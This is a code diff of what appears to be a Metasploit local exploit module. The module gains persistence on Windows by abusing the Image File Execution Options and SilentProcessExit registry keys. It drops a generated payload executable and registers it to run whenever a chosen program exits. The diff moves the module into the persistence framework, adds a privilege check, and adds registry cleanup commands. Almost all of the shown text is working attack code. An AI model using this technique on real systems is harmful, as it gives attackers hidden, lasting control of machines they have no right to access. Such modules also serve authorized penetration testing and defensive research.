@@ -10,6 +10,10 @@ class MetasploitModule < Msf::Exploit::Local
1010 include Msf ::Post ::File
1111 include Msf ::Exploit ::EXE
1212 include Msf ::Post ::Windows ::Priv
13+ include Msf ::Exploit ::Local ::Persistence
14+ prepend Msf ::Exploit ::Remote ::AutoCheck
15+ include Msf ::Exploit ::Deprecated
16+ moved_from 'exploits/windows/local/persistence_image_exec_options'
1317
1418 def initialize ( info = { } )
1519 super (
@@ -33,13 +37,11 @@ def initialize(info = {})
3337 ] ,
3438 'DefaultTarget' => 0 ,
3539 'DisclosureDate' => '2008-06-28' ,
40+ 'Privileged' => true ,
3641 'References' => [
37- [ 'URL ' , 'https://attack.mitre.org/techniques/T1183/' ] ,
42+ [ 'ATT&CK ' , Mitre :: Attack :: Technique :: T1183_IMAGE_FILE_EXECUTION_OPTIONS_INJECTION ] ,
3843 [ 'URL' , 'https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/' ]
3944 ] ,
40- 'DefaultOptions' => {
41- 'DisablePayloadHandler' => true
42- } ,
4345 'Compat' => {
4446 'Meterpreter' => {
4547 'Commands' => %w[
@@ -48,21 +50,36 @@ def initialize(info = {})
4850 }
4951 } ,
5052 'Notes' => {
51- 'Reliability ' => UNKNOWN_RELIABILITY ,
52- 'Stability ' => UNKNOWN_STABILITY ,
53- 'SideEffects' => UNKNOWN_SIDE_EFFECTS
53+ 'Stability ' => [ CRASH_SAFE ] ,
54+ 'Reliability ' => [ REPEATABLE_SESSION , EVENT_DEPENDENT ] ,
55+ 'SideEffects' => [ ARTIFACTS_ON_DISK , CONFIG_CHANGES ]
5456 }
5557 )
5658 )
5759 register_options ( [
5860 OptString . new ( 'PAYLOAD_NAME' ,
5961 [ false , 'The filename for the payload to be used on the target host (%RAND%.exe by default).' , nil ] ) ,
60- OptString . new ( 'PATH' , [ false , 'Path to write payload(%TEMP% by default).' , nil ] ) ,
6162 OptString . new ( 'IMAGE_FILE' , [ true , 'Binary to "debug"' , nil ] )
6263
6364 ] )
6465 end
6566
67+ def writable_dir
68+ d = super
69+ return session . sys . config . getenv ( d ) if d . start_with? ( '%' )
70+
71+ d
72+ end
73+
74+ def check
75+ print_warning ( 'Payloads in %TEMP% will only last until reboot, you want to choose elsewhere.' ) if datastore [ 'WritableDir' ] . start_with? ( '%TEMP%' ) # check the original value
76+ return CheckCode ::Safe ( "#{ writable_dir } doesnt exist" ) unless exists? ( writable_dir )
77+
78+ return CheckCode ::Safe ( 'You must be System to run this Module' ) unless is_system?
79+
80+ CheckCode ::Appears ( 'Likely exploitable' )
81+ end
82+
6683 def upload_payload ( dest_pathname )
6784 payload_exe = generate_payload_exe
6885 write_file ( dest_pathname , payload_exe )
@@ -71,7 +88,7 @@ def upload_payload(dest_pathname)
7188
7289 def validate_active_host
7390 unless is_system?
74- fail_with ( Failure ::NoAccess , " You must be System to run this Module" )
91+ fail_with ( Failure ::NoAccess , ' You must be System to run this Module' )
7592 end
7693
7794 begin
@@ -85,18 +102,18 @@ def validate_active_host
85102 def write_reg_keys ( image_file , payload_pathname )
86103 reg_keys = [ ]
87104 reg_keys . push ( key_name : "HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Image File Execution Options\\ #{ image_file } " ,
88- value_name : " GlobalFlag" ,
89- type : " REG_DWORD" ,
105+ value_name : ' GlobalFlag' ,
106+ type : ' REG_DWORD' ,
90107 value_value : 512 )
91108 reg_keys . push ( key_name : "HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ SilentProcessExit\\ #{ image_file } " ,
92- value_name : " ReportingMode" ,
93- type : " REG_DWORD" ,
109+ value_name : ' ReportingMode' ,
110+ type : ' REG_DWORD' ,
94111 value_value : 1 )
95112 reg_keys . push ( key_name : "HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ SilentProcessExit\\ #{ image_file } " ,
96- value_name : " MonitorProcess" ,
97- type : " REG_SZ" ,
113+ value_name : ' MonitorProcess' ,
114+ type : ' REG_SZ' ,
98115 value_value : payload_pathname )
99- silent_process_exit_key = " HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ SilentProcessExit"
116+ silent_process_exit_key = ' HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit'
100117 registry_createkey ( silent_process_exit_key ) unless registry_key_exist? ( silent_process_exit_key )
101118 reg_keys . each do |key |
102119 registry_createkey ( key [ :key_name ] ) unless registry_key_exist? ( key [ :key_name ] )
@@ -109,13 +126,17 @@ def write_reg_keys(image_file, payload_pathname)
109126 end
110127 end
111128
112- def exploit
129+ def install_persistence
113130 validate_active_host
114- payload_name = datastore [ 'PAYLOAD_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 8 ) + 6 ) )
115- temp_path = datastore [ 'PATH' ] || session . sys . config . getenv ( 'TEMP' )
131+ payload_name = datastore [ 'PAYLOAD_NAME' ] || Rex ::Text . rand_text_alpha ( ( rand ( 6 .. 13 ) ) )
132+ temp_path = writable_dir
116133 image_file = datastore [ 'IMAGE_FILE' ]
117- payload_pathname = temp_path + " \\ " + payload_name + '.exe'
134+ payload_pathname = temp_path + '\\' + payload_name + '.exe'
118135 vprint_status ( "Payload pathname = #{ payload_pathname } " )
119136 upload_payload ( payload_pathname ) if write_reg_keys ( image_file , payload_pathname )
137+ @clean_up_rc << "rm #{ payload_pathname } \n "
138+ @clean_up_rc << "execute -f cmd.exe -a \" /c reg delete \" HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ Image File Execution Options\\ #{ image_file } \" /v GlobalFlag /f\" -H\n "
139+ @clean_up_rc << "execute -f cmd.exe -a \" /c reg delete \" HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ SilentProcessExit\\ #{ image_file } \" /v ReportingMode /f\" -H\n "
140+ @clean_up_rc << "execute -f cmd.exe -a \" /c reg delete \" HKLM\\ SOFTWARE\\ Microsoft\\ Windows NT\\ CurrentVersion\\ SilentProcessExit\\ #{ image_file } \" /v MonitorProcess /f\" -H\n "
120141 end
121142end
0 commit comments